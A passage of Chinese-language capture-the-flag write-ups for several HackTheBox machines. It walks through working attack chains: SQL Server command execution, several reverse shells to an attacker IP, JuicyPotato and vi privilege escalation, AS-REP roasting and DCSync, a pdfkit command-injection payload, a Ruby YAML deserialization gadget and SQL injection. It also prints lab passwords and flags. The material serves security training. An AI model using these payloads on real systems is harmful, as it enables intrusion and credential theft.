<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>

得到MSSQL账户ARCHETYPE\sql_svc:M3g4c0rp123

这里使用impacket来登入

https://github.com/SecureAuthCorp/impacket

可以执行系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
python mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27  -windows-auth
Impacket v0.9.23.dev1+20210528.195232.25c62f65 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> enable_xp_cmdshell
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami
output

--------------------------------------------------------------------------------

archetype\sql_svc

NULL

SQL> xp_cmdshell type C:\users\sql_svc\desktop\user.txt
output

--------------------------------------------------------------------------------

3e7b102e78218e935bf3f4951fec21a3

权限提升

C:\users\sql_svc\appdata为隐藏路径, 需要使用dir /a

1
2
3
4
5
6
7
8
9
10
SQL> xp_cmdshell type C:\users\sql_svc\appdata\roaming\microsoft\windows\powershell\psreadline\ConsoleHost_history.txt
output

--------------------------------------------------------------------------------

net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

exit

NULL

通过查看powershell的历史记录得到administrator的账户

Archetype\administrator:MEGACORP_4dm1n!!

在使用impacket中的psexec.py来得到管理员权限的Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python psexec.py archetype/administrator@10.10.10.27
Impacket v0.9.23.dev1+20210528.195232.25c62f65 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file OFvCNrQJ.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service SMtb on 10.10.10.27.....
[*] Starting service SMtb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\users\administrator\desktop\root.txt
b91ccec3305e98240082d4474b848528

尝试不使用psexec运行管理员权限命令的一波三折

Windows下可以使用runas命令来以其他用户的身份运行命令
runas /savecred /user:administrator whoami
但是不能直接通过参数输入密码

1
2
3
runas /savecred /user:administrator whoami
试图将 whoami 作为用户 "DOMAIN\administrator" 启动...
输入 administrator 的密码:

密码的输入需要以交互式的方式来输入, 就无法在MSSQL的非交互式Shell中直接提权

而可以使用sanur这个工具来进行密码的命令行输入

1
runas /savecred /user:administrator whoami | sanur.exe password

但是紧接着问题又来了
runas貌似不会在当前cmd窗口运行命令而是在一个新的cmd中运行, 这样的话就不能在MSSQL的Shell中看到回显

所以尝试了文件写入保存命令运行结果的方法

1
runas /savecred /user:administrator "cmd /c whoami > C:\1" | sanur.exe password

本地运行成功了, 但是目标机器不行(无奈)


HackTheBox_Oopsie

Linux

端口扫描

1
2
3
4
5
6
7
8
9
nmap -sV -sT -Pn 10.10.10.28

Nmap scan report for 10.10.10.28
Host is up (0.68s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

漏洞利用

在首页的源码看到这样一条JS

1
<script src="/cdn-cgi/login/script.js"></script>

得到路径/cdn-cgi/login

访问该路径即为登入页面
这里的登入需要使用上一台靶机的Administrator密码, 有点坑
admin:MEGACORP_4dm1n!!

访问/cdn-cgi/login/admin.php?content=uploads
提示This action require super admin rights.
Cookie中的内容为user=34322; role=admin
那么只要能够得到super adminid值与username即可越权

/cdn-cgi/login/admin.php?content=accounts&id=1
访问该路径可以得到admin的账户信息
可以通过爆破参数id来得到super admin的信息

1
2
3
4
5
6
7
8
9
10
import re
import requests
req = requests.session()
headers = {"Cookie":"user=34322; role=admin"}
for _ in range(0, 999):
url = "http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id={}".format(_)
res = req.get(url, headers = headers)
if "super" in res.text:
print(_)
exit()

id为30, 得到如下信息

1
2
Access ID   Name            Email
86575 super admin superadmin@megacorp.com

通过在Burpsuite中修改Cookie为Cookie: user=86575; role=super admin来访问/cdn-cgi/login/admin.php?content=uploads
上传weevely的Shell即可获得权限

权限提升

使用python反弹Shell到本机

1
2
3
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.51',9996));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
-------
nc -lvnp 9996

获得tty
(好像是用于获取一个终端会话, 否则后续的切换用户操作无法进行)

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

之前查看用户信息的页面应该用到了SQL的操作
那么就可以去找SQL的配置信息

1
2
3
4
5
6
7
cat /var/www/html/cdn-cgi/login/db.php

<i/login$ cat cat /var/www/html/cdn-cgi/login/db.php
cat: cat: No such file or directory
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

得到账户信息robert:M3g4C0rpUs3r!

使用该账户信息切换到用户robert

1
2
3
4
5
su robert
M3g4C0rpUs3r!
cat /home/robert/user.txt

f2c74ee8db7983851ab2a96a44eb7981

查找有SUID权限的文件

1
find / -user root -perm -4000 -print 2>/dev/null

看到一个有意思的文件

1
/usr/bin/bugtracker

而该用户也有运行权限

1
2
3
4
5
ls -la /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker

id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

IDA中分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
__uid_t v3; // eax
const char *v4; // rax
char v7[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
printf("%s", "\n------------------\n: EV Bug Tracker :\n------------------\n\n");
printf("Provide Bug ID: ");
__isoc99_scanf("%s", v7);
printf("%s", "---------------\n\n");
v3 = geteuid();
setuid(v3);
v4 = (const char *)concat("cat /root/reports/", v7);
system(v4);
putchar(10);
return __readfsqword(0x28u) ^ v8;
}
  • 用户输入v7
  • v7被拼接到"cat /root/reports/"之后在赋值给v4
  • 执行v4

命令注入

Payload: ;cat$IFS$9/root/root.txt

1
2
3
4
5
6
7
8
9
10
11
./bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: ;cat$IFS$9/root/root.txt
---------------

cat: /root/reports/: Is a directory
af13b0bee69f8a877c3faf667f7beacf

HackTheBox_Archetype

Linux

端口扫描

1
2
3
4
5
6
7
8
9
10
nmap -sV -sT -Pn 10.10.10.46

Nmap scan report for 10.10.10.46
Host is up (0.59s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

漏洞利用

The credentials ftpuser / mc@F1l3ZilL4 can be used to login to the FTP server. – 官方WP

尝试使用上台靶机中获取的ftp凭据ftpuser/mc@F1l3ZilL4登录靶机的ftp服务
https://blog.csdn.net/qianxiaoyiran311/article/details/105988795

得到FTP账户

1
ftpuser:mc@F1l3ZilL4

登入FTP服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ftp 10.10.10.46
Connected to 10.10.10.46.
220 (vsFTPd 3.0.3)
Name (10.10.10.46:root): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 2533 Feb 03 2020 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
226 Transfer complete.
2533 bytes received in 0.23 secs (10.7549 kB/s)

爆破加密压缩包backup.zip

1
2
3
fcrackzip backup.zip -D -p /usr/share/wordlists/rockyou.txt -u

PASSWORD FOUND!!!!: pw == 741852963

查看index.php

1
2
3
4
5
6
7
8
9
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>

爆破Hash

1
2
3
4
5
6
7
8
9
10
echo -n "2cb42f8734ea607eefed3b70af13bbd3" > passwd
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt passwd
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
qwerty789 (?)
1g 0:00:00:00 DONE (2021-06-05 19:16) 33.33g/s 3340Kp/s 3340Kc/s 3340KC/s shunda..pogimo
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session complete

登入Web页面, 看到一个搜索功能
使用sqlmap来getshell

1
sqlmap -u "http://10.10.10.46/dashboard.php?search=1" --os-shell

sqlmap给出的shell不是很好用, 自己再弹个Shell

1
2
3
rm /tmp/y;mkfifo /tmp/y;cat /tmp/y|/bin/bash -i 2>&1|nc 10.10.16.51 9996 >/tmp/y
------
nc -lvnp 9996

权限提升

查看数据库信息

1
2
3
cat /var/www/html/dashboard.php

$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");

得到账户

1
postgres:P@s5w0rd!

SSH登入

1
2
ssh postgres@10.10.10.46
P@s5w0rd!

查看sudo权限

1
2
3
4
5
6
7
8
9
sudo -l
[sudo] password for postgres: P@s5w0rd!

Matching Defaults entries for postgres on vaccine:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

vi提权

1
2
/bin/vi /etc/postgresql/11/main/pg_hba.conf
:shell
1
2
cat /root/root.txt
dd6e058e814260bc70e9bbdef2715849

来自上一台靶机的FTP账户

本着实践出真知的精神, 再看了一下上一台靶机Oopsie的端口开放情况

1
2
3
4
5
6
7
8
9
netstat -antlp
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1205/mysqld
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 800/systemd-resolve
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1120/sshd
tcp 0 235 10.10.10.28:41042 10.10.16.51:9996 ESTABLISHED 2166/python3
tcp6 0 0 :::80 :::* LISTEN 1260/apache2
tcp6 0 0 :::22 :::* LISTEN 1120/sshd
tcp6 0 0 10.10.10.28:80 10.10.16.51:58936 ESTABLISHED 1963/apache2

并没有FTP服务, 那么就是可能这种靶机顺序关系的变更

我个人不是很认同这种把敏感信息放在其他靶机泄露的设计
确切来说, 不应该把这种通过其他靶机泄露敏感信息作为唯一的攻击链
在给出这样的一条攻击链的时候应该再给出另外一个攻击链
虽然这样的确能够对于连续的靶机渗透, 或者说多层靶机渗透的带来更加贯通的体验
但是出现了这种顺序变更的情况之后就会显得十分弄巧成拙, 而且没有应有的后续修改
没有user.txt也只是给这台机器的2.7分锦上添花了


HackTheBox_Shield

Windows

端口扫描

1
2
3
4
5
6
7
8
9
nmap -sV -sT -Pn 10.10.10.29

Nmap scan report for 10.10.10.29
Host is up (0.38s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
3306/tcp open mysql MySQL (unauthorized)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

路径扫描

扫描到路径/wordpress
其实根本没扫, 网络环境太差了, 直接看WP的

漏洞利用

1
2
3
4
5
6
7
8
9
wpscan --url http://10.10.10.29/wordpress/ -e u

[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://10.10.10.29/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

使用上一台靶机的密码P@s5w0rd!
得到账户admin:P@s5w0rd!
拳头硬了

登入之后修改插件的代码
直接写个Shell进去
然后访问/wordpress/wp-content/plugins/mesmerize-companion/src/Companion.php即可

权限提升

蚁剑连WebShell
上传nc再弹Shell回来

1
2
3
nc64.exe -e C:\windows\system32\cmd.exe 10.10.16.51 9996
-------
nc -lvnp 9996
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
systeminfo

Host Name: SHIELD
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00376-30000-00299-AA303
Original Install Date: 2/4/2020, 12:58:01 PM
System Boot Time: 6/5/2021, 8:21:33 PM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 2,047 MB
Available Physical Memory: 753 MB
Virtual Memory: Max Size: 2,431 MB
Virtual Memory: Available: 1,015 MB
Virtual Memory: In Use: 1,416 MB
Page File Location(s): C:\pagefile.sys
Domain: MEGACORP.LOCAL
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.29
[02]: fe80::98f9:2cd0:ff27:3fbc
[03]: dead:beef::98f9:2cd0:ff27:3fbc
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

没有打补丁的Windows Server 2016 Standard
用烂土豆提权
https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

写一个反弹Shell的bat脚本

1
echo start C:\temp\nc64.exe -e cmd.exe 10.10.16.51 9995 > C:\temp\shell.bat

当时因为用linux的习惯就用了双引号把要写入的内容括了起来, 但是Windows会很蛋疼得把双引号也写入, 然后就导致了当时一直不能提权

看一下权限

1
2
3
4
5
6
7
8
9
10
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled

如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
https://blog.csdn.net/god_zzZ/article/details/106334702

然后在项目上找一个Windows Server 2016 Standard的CLSID

1
2
3
JuicyPotato.exe -t t -p C:\temp\shell.bat -l 6666 -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
------
nc -lvnp 9995
1
2
type c:\users\administrator\desktop\root.txt
6e9a9fdc6f64e410a68b847bb4b404fa

HackTheBox_Pathfinder

对于域控的攻击有点超出的我的知识范围了

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -sV -sT -p 1-10000 10.10.10.30

Nmap scan report for 10.10.10.30
Host is up (0.57s latency).
Not shown: 9987 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-06-08 13:22:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: PATHFINDER; OS: Windows; CPE: cpe:/o:microsoft:windows

使用上一台靶机的凭证sandra:Password1234!来枚举AD的信息 – 官方WP

1
bloodhound-python -d megacorp.local -u sandra -p "Password1234!" -gc pathfinder.megacorp.local -c all -ns 10.10.10.30
1
2
neo4j console
bloodhound

json打包为zip后放进bloodhound
自己用在kali用bloodhound的时候总是莫名其妙的崩溃, 只能在windows上使用了
需要改一下neo4j所监听的ip, 默认是监听本地环回, 需要改成一个windows上能够访问到的ip

通过分析Find Principals with DCSync Rights
可以看到用户SVC_BES有权限GetChanges&GetchangesAll

“With both GetChanges and GetChangesAll privileges in BloodHound, you may perform a dcsync attack to get the password hash of an arbitrary principal using mimikatz”
https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#getchanges-getchangesall

mimikatz有一个dcsync功能, 可以利用卷影拷贝服务直接读取ntds.dll文件并检索域散列值。
《内网安全攻防》 P.296

如果能够拿到用户svc_bes的凭证, 就能够使用dcsync攻击
所以尝试获取用户svc_bes的Hash

1
2
3
4
python GetNPUsers.py megacorp.local/svc_bes -request -no-pass -dc-ip 10.10.10.30

[*] Getting TGT for svc_bes
$krb5asrep$23$svc_bes@MEGACORP.LOCAL:9b7a931e1152a4631d23173e921373ee$7282d47fdf6ebddcd09f8233636ee97c971b39333ded23097d3fb59c4fb1dfbd772cb3b08b8a8f40a69f69a07f242e0ee2520878b707ab9769208ba2bd6faa76c0a79b39384ef588651127c3164fff013b53d0968d4047dad049b46747b52629c6c9b92427fc7bd6dca13a923bdb833ca9273c2018b605a9eeb0c24005b5ba8988b76952db3a31f6b14f165bd0613e7130ee1bc93cb9a0e4f7a018cbf3913b935778e860d3236d2763b56d871e236e98ea041bbb5b15ebf3138ca16214a758b24194d968320151e58d09a89c2d08e4576ab789076cba4096b4fb328965611663cbe588eafd5bf19af71293701d8a220e

爆破Hash

1
2
3
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Sheffield19 ($krb5asrep$23$svc_bes@MEGACORP.LOCAL)

这里本来打算用psexec直接登入, 但是出现了权限不足的错误
python psexec.py megacorp.local/svc_bes@10.10.10.30

使用Winrm服务登入

1
2
3
evil-winrm -i 10.10.10.30 -u svc_bes -p Sheffield19
type C:\users\svc_bes\desktop\user.txt
b05fb166688a8603d970c6d033f637f1

dcsync攻击

1
2
secretsdump.py -dc-ip 10.10.10.30 megacorp.local/svc_bes:Sheffield19@10.10.10.30
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18:::

使用Hash登入

1
2
3
python psexec.py megacorp.local/administraor@10.10.10.30 -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18
type c:\users\administrator\desktop\root.txt
ee613b2d048303e5fd4ac6647d944645

几台靶机下来还是学到了不少东西
还是自己太菜了
剩下的StartPoint靶机需要VIP才能访问
等哪天心血来潮开了VIP再说吧


HackTheBox_Precious

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.189
1
2
3
4
5
6
7
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.37s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径枚举

未枚举出路径

漏洞利用

访问80端口的WEB服务

1
curl http://10.10.11.189/ -I
1
2
3
4
5
6
7
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0
Date: Thu, 02 Mar 2023 02:20:41 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://precious.htb/

跳转至域名precious.htb

添加域名解析

1
echo -e "10.10.11.189\tprecious.htb" >> /etc/hosts

使用域名可以进行访问

本地开启HTTP服务

1
cd /tmp && python -m http.server 80

将本地HTTP服务页面转为PDF

1
curl http://precious.htb -d "url=http://10.10.*.*/" -o pdf

查看文件EXIF信息

1
exiftool pdf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ExifTool Version Number         : 11.16
File Name : pdf
Directory : .
File Size : 22 kB
File Modification Date/Time : 2023:03:02 10:42:26+08:00
File Access Date/Time : 2023:03:02 10:42:33+08:00
File Inode Change Date/Time : 2023:03:02 10:42:26+08:00
File Permissions : rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6

搜索pdfkit v0.8.6,找到相关漏洞CVE-2022-25765

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

验证漏洞

1
curl http://precious.htb/ -d "url=http%3A//10.10.*.*/%3Fname%3D%2520%60id%60"
1
10.10.11.189 - - [02/Mar/2023 11:34:00] "GET /?name=%20uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 200 -

反弹Shell

1
nc -lvnp 9998
1
curl http://precious.htb/ -d "url=http%3A//10.10.*.*/%3Fname%3D%2520%60python3%20-c%20%22import%20os%2Csocket%2Csubprocess%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2710.10.*.*%27%2C9998%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%27/bin/bash%27%2C%27-i%27%5D%29%3B%22%60"

获取tty

1
python3 -c 'import pty; pty.spawn("/bin/bash");'
1
cat /home/ruby/.bundle/config

得到用户henry的账户信息

1
2
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

SSH登入

1
2
ssh henry@10.10.11.189
Q3c1AqGHtoI0aXAYFH

查看flag

1
2
cat /home/henry/user.txt 
c2495bbeca89a6c2caaabb23a05934a9

权限提升

1
sudo -l
1
2
3
4
5
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
1
cat update_dependencies.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end

YAML.load()存在反序列化漏洞

https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/

构造能够利用漏洞的yml文件

1
cd /tmp; vi /tmp/dependencies.yml

文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "python3 -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.*.*',9997));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\""
method_id: :resolve

监听端口

1
nc -lvnp 9997

触发反序列化漏洞

1
sudo /usr/bin/ruby /opt/update_dependencies.rb

获得root权限,查看flag

1
2
cat /root/root.txt
a6c3884ed3b917b870834758ab46f9f1

HackTheBox_MetaTwo

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.186
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nmap scan report for 10.10.11.186
Host is up (1.1s latency).
Not shown: 828 closed ports, 169 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.70%I=7%D=3/2%Time=64009A16%P=x86_64-pc-linux-gnu%r(Gener
SF:icLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\.
SF:11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20crea
SF:tive\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative\
SF:r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径枚举

请求WEB页面

1
curl 10.10.11.186 -I
1
2
3
4
5
6
7
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0
Date: Thu, 02 Mar 2023 12:39:11 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://metapress.htb/

跳转至域名metapress.htb

添加域名解析

1
echo -e "10.10.11.186\tmetapress.htb" >> /etc/hosts

访问页面是个Wordpress,没必要枚举了

漏洞利用

枚举用户名

1
wpscan --url "http://metapress.htb/" -e u

部分信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[+] robots.txt found: http://metapress.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%

[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
| Found By: Rss Generator (Passive Detection)
| - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
| - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>

[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Sitemap (Aggressive Detection)
| - http://metapress.htb/wp-sitemap-users-1.xml
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] manager
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

访问页面http://metapress.htb/events/

在HTML代码中找到以下内容

1
http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/bookingpress_element_theme.css?ver=1.0.10

确定该插件为 bookingpress-appointment-booking 1.0.10

google得到相关漏洞

https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

源代码中搜索action:'bookingpress_front_get_category_services'

得到_wpnonce=7ea553b73c

进行手工SQL注入

查库

1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=7ea553b73c&category_id=33&total_service=-7502) UNION ALL SELECT -2,-1,0,1,2,3,4,5,group_concat(schema_name) from information_schema.schemata-- -'

库名如下

1
2
information_schema
blog

查表

1
